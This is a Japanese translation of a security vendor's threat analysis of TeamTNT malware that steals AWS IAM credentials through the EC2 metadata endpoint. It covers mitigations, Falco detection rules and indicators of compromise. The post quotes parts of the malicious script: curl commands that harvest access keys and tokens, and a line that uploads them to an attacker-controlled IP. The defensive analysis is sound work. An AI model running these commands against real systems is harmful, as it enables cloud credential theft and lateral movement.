脅威ニュース: EC2インスタンスのメタデータを使って認証情報を盗むTeamTNT

By 清水 孝郎 - DECEMBER 8, 2021

SHARE:

本文の内容は、2021年12月7日にAlberto Pellitteriが投稿したブログ(https://sysdig.com/blog/teamtnt-aws-credentials/)を元に日本語に翻訳・再構成した内容となっております。

Sysdig 脅威リサーチチームは、TeamTNTに起因すると思われる攻撃を検知しました。最初の標的は、ネットワークの外に露出したKubernetesポッドでした。アクセスが可能になると、マルウェアはEC2インスタンスのメタデータを使ってAWSの認証情報を盗み出そうとしました。

TeamTnT malware steal aws credentials
TeamTNTは、KubernetesやDockerなどの仮想ソリューションやクラウドソリューションに対して大規模な攻撃を行う脅威アクターです。これまでの攻撃では、暗号通貨のマイニングや認証情報の窃取などの動機が見られましたが、今回はAWSのメタデータを活用した新たな戦略が採用されています。クラウドプラットフォームでは、過剰なパーミッションが悪用され、ラテラルムーブメント攻撃を受ける可能性があります。
この記事では、この攻撃がどのように機能するのか関連するリスク、そしてその検知方法について説明します。

状況

TeamTNTは、Kubernetesクラスター上にデプロイされたWordPressポッドにおけるダッシュボードの設定ミスを経由しつつ悪用し、ブルートフォースでリモートコマンドの実行がなされました。脆弱なコンテナにアクセスした後、マルウェアはwgetコマンドを使用して、悪意のあるbashスクリプト aws2.shをダウンロードします。
Sysdig 脅威リサーチチームがこのスクリプトを分析したところ、4つの異なる戦略を用いてAWSの認証情報を取得しようとしていることがわかりました。

Diagram Teamtnt malicious behavior
  1. まず、侵害されたシステム上で環境変数としてエクスポートされたAWS認証情報があるかどうかを確認します。
  2. 次に、現在実行されているdockerコンテナを検査することで、AWSキーを探します。
  3.  /root ファイルシステムまたは /home/ ディレクトリのいずれかに /.aws/credentialsパスが存在する場合、それらのディレクトリを検索してクレデンシャルを探します。
  4. 被害を受けているマシンからAWSメタデータを取得し、それに関連するIAMロール認証情報(aws_access_key_idaws_secret_access_keyaws_session_token)を取得します。
最後の方法は、TeamTNTがAWSの認証情報を盗むために採用している最も新しく興味深い方法です。

インパクト

AWS メタデータは、ユーザーデータと同様に、AWS で実行するすべての EC2 インスタンスの設定と管理に使用されます。このメタデータは、実行中のインスタンスから次のURI(IPv4経由)を介してのみアクセスできます:
 http://169.254.169.254/latest/meta-data/

以下は、このエンドポイントに含まれるデータの一例です。

Example EC2 metadata
このエンドポイントを使用して、インスタンスに関する情報や、ネットワーク設定(ローカルおよびパブリックIPv4アドレスなど)を取得できます。しかし、何よりも重要なのは、インスタンスに割り当てられているIAMロールの記録です。後者の情報は、攻撃者が利用することができます。
以下は、悪意のあるスクリプトから引用したもので、攻撃者がメタデータエンドポイントにアクセスし、機密情報を抽出する様子を示しています。

...
function AWS_META_DATA_CREDS(){

export TNT_AWS_ACCESS_KEY=$(curl --max-time $T1O --connect-timeout $T1O -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep 'AccessKeyId' | sed 's/ "AccessKeyId" : "/aws_access_key_id = /g' | sed 's/",//g')

if [ ! -z "$TNT_AWS_ACCESS_KEY" ]; then
export TNT_AWS_SECRET_KEY=$(curl --max-time $T1O --connect-timeout $T1O -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep 'SecretAccessKey' | sed 's/ "SecretAccessKey" : "/aws_secret_access_key = /g' | sed 's/",//g')

fi
if [ ! -z "$TNT_AWS_SECRET_KEY" ]; then
export TNT_AWS_SESSION_TOKEN=$(curl --max-time $T1O --connect-timeout $T1O -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep 'Token' | sed 's/ "Token" : "/aws_session_token = /g' | sed 's/",//g')
Fi
...
echo $TNT_AWS_ACCESS_KEY >> $STEALER_OUT
echo $TNT_AWS_SECRET_KEY >> $STEALER_OUT
echo $TNT_AWS_SESSION_TOKEN >> $STEALER_OUT
...
最後に、これらの情報が STEALER_OUT ファイルに保存されると、攻撃者が管理するサーバーにファイルをアップロードすることで、データの流出が起こります。

...
if [ -f $STEALER_OUT ]; then
cat $STEALER_OUT
curl -F "userfile=@$STEALER_OUT" http://84.201.153.234/wp-content/themes/twentyseventeen/.a/upload2.php
rm -f $STEALER_OUT 2>/dev/null 1>/dev/null
fi
...
この新しい脅威の影響により、このようにAWSの認証情報が盗まれる可能性があります。攻撃者は、この認証情報を利用して、クラウド内でのラテラルムーブメントを行うことができるようになります!

対策

いつものように、堅牢な多要素認証システムと脆弱性のない最新のコンポーネントでサービスが保護されていることを確認してください。しかし、この脅威に対抗するためには、いくつかの具体的な方法があります。
AWSでは、EC2インスタンスのメタデータへの不正アクセスを防止するためのアクセス制御ルールを有効にすることはできません。その代わりに、AWSのクレデンシャルの盗難に関連するリスクを制限するいくつかの戦略を採用することができます。
  • インスタンスがメタデータへのアクセスを必要としない場合は、無効にすべきです。これにより、攻撃対象を最小限に抑え、AWSの認証情報の盗難を回避することができます。
  • また、インスタンスのメタデータにアクセスする方法として、デフォルトのIMDSv1方式を、より新しいIMDSv2に置き換えることができます。IMDSv2はセッション指向のリクエストを使用し、メタデータやクレデンシャルのリクエストに使用できるセッショントークンを提供します。
  • EC2インスタンスにロールを割り当てるのは、厳密に必要な場合のみとします。
  • EC2インスタンスにIAMロールをアタッチした場合、タスクの実行に必要な最低限の権限が付与されていることを確認してください。
例えば、後者のシナリオによると、EC2インスタンスがAWSのS3バケットに対して読み取り権限のみを必要とする場合、書き込み権限も与えるべきではありません。バケットへの読み取り、リスト、書き込みなどのAWSアクションを制限することに加えて、どのAWSリソースにアクセスできるかを指定する必要があります。これにより、機密データへの不正なアクセスを制限できる可能性があります。

以下は、安全でないポリシーとレポートされています:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["s3:*"],
      "Resource": ["*"]
    }
  ]
}

代わりに、より安全なポリシーとして:

{
  "Version": "2012-10-17",
  "Statement": [
    {
	"Principal": {
      "AWS":"arn:aws:iam::<aws-account>:role/<iam-role-for-s3-access>”
	}
      "Effect": "Allow",
      "Action": ["s3:ListBucket”,
         “s3:GetObject"],
      "Resource": ["arn:aws:s3:::<s3-bucket-name>"]
    }
  ]
}


検知

TeamTNTが認証情報を盗むために行った手法の検出は、Falcoを使って行うことができます。Falcoは、コンテナやKubernetes向けのランタイム脅威検知のためのCNCFのインキュベーションプロジェクトです。
Falcoの強力で柔軟なルール言語を活用して、疑わしい振る舞いを検出し、イベントを生成することができます。Falcoには事前に定義されたルールが付属していますが、必要に応じてカスタマイズしたり、ニーズに合った新しいルールを作成したりすることもできます。
デフォルトのルールセットには2つのルールがあり、コンテナが予期せずEC2インスタンスのメタデータに到達しようとするたびに検出されます。

- rule: Contact EC2 Instance Metadata Service From Container
desc: Detect attempts to contact the EC2 Instance Metadata Service from a container
condition: outbound and fd.sip="169.254.169.254" and container and not ec2_metadata_containers
output: Outbound connection to EC2 instance metadata service (command=%proc.cmdline connection=%fd.name %container.info image=%container.image.repository:%container.image.tag)
priority: NOTICE
tags: [network, aws, container, mitre_discovery]


- rule: Contact cloud metadata service from container
desc: Detect attempts to contact the Cloud Instance Metadata Service from a container
condition: outbound and fd.sip="169.254.169.254" and container and consider_metadata_access and not user_known_metadata_access
output: Outbound connection to cloud instance metadata service (command=%proc.cmdline connection=%fd.name %container.info image=%container.image.repository:%container.image.tag)
priority: NOTICE
tags: [network, container, mitre_discovery]

これらのルールについて詳しく知りたい場合は、GitHubでルールの全説明を確認できます。
また、Find AWS Credentialsルールは、AWSクレデンシャル・ファイルを発見しようとしている疑わしい grep  find コマンドを検出することができます。このルールはSysdig Secureに含まれています。

- macro: private_aws_credentials
condition: >
(proc.args icontains "aws_access_key_id" or
proc.args icontains "aws_secret_access_key" or
proc.args icontains "aws_session_token" or
proc.args icontains "accesskeyid" or
proc.args icontains "secretaccesskey")

- rule: Find AWS Credentials
description: Detect AWS creds
condition: >
spawned_process and
((grep_commands and private_aws_credentials) or
(proc.name = "find" and proc.args endswith ".aws/credentials"))
output: Grep AWS credentials activities found (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)
priority: NOTICE
tags: mitre_credential_access, process


侵害の指標(IoC)と不審な活動のまとめ

IPs & URLs

  • 84.201.153.234
  • http://84.201.153.234/wp-content/themes/twentyseventeen/.a/aws2.sh
  • http://84.201.153.234/wp-content/themes/twentyseventeen/.a/upload2.php

MD5

  • aws2.sh
    • 6eb1c1b3acbb0a71013826d512b3ebb6

Filenames

  • aws2.sh
  • TeamTNT_AWS_STEALER_v2.txt
  • .tnt.aws.lock

疑わしいアクティビティ

TeamTNTのマルウェア分析において、特筆すべき不審な活動がいくつかあります:

  • wget は、悪意のあるbashスクリプト aws2.shをダウンロードするために、ビルド時ではなくランタイムに起動されています。
  • AWSメタデータを使ったネットワーク通信
Sysdig Secureには、危険性を示す指標を使用して、それを見たときにイベントを生成するいくつかのルールが含まれています。これらのルールは、Sysdig 脅威リサーチチームが発見した際に自動的に更新され、最新の保護機能を提供します。
Sysdig Secure IoCルール:
  • Malicious IPs or domains detected on command line
  • Malicious binary detected
  • Malicious process detected


まとめ

今回の事案は、脅威が常に進化していることを証明しています。TeamTNTマルウェアは、AWSの認証情報が被害者のコンテナ内に直接保存されていなくても、それを盗むことができるように改良されています。これにより、脅威アクターラテラルムーブメント攻撃を行うために、盗んだ認証情報を悪用できる可能性があります。
ランタイムセキュリティツールを導入したい場合は、「Kubernetes、コンテナ、クラウドにおける継続的なリスクと脅威の検出のためのオープンソース標準」であるFalcoを選択することができます。
Falcoの詳細を知りたい方は:



Sysdig Secureでは、他のオープンソース・プロジェクトとともに、アウトオブボックスのルールでFalcoを拡張し、クラウド・セキュリティの作業と管理をさらに容易にしています。

Sysdig Secureを使用している場合、インスタンス・メタデータ・エンドポイントを使用しようとすると、以下の画像のようなイベントが発生します。
Sysdig detection malware TeamTNT

30日間の無料トライアルにご登録いただき、ご自身の目でお確かめください!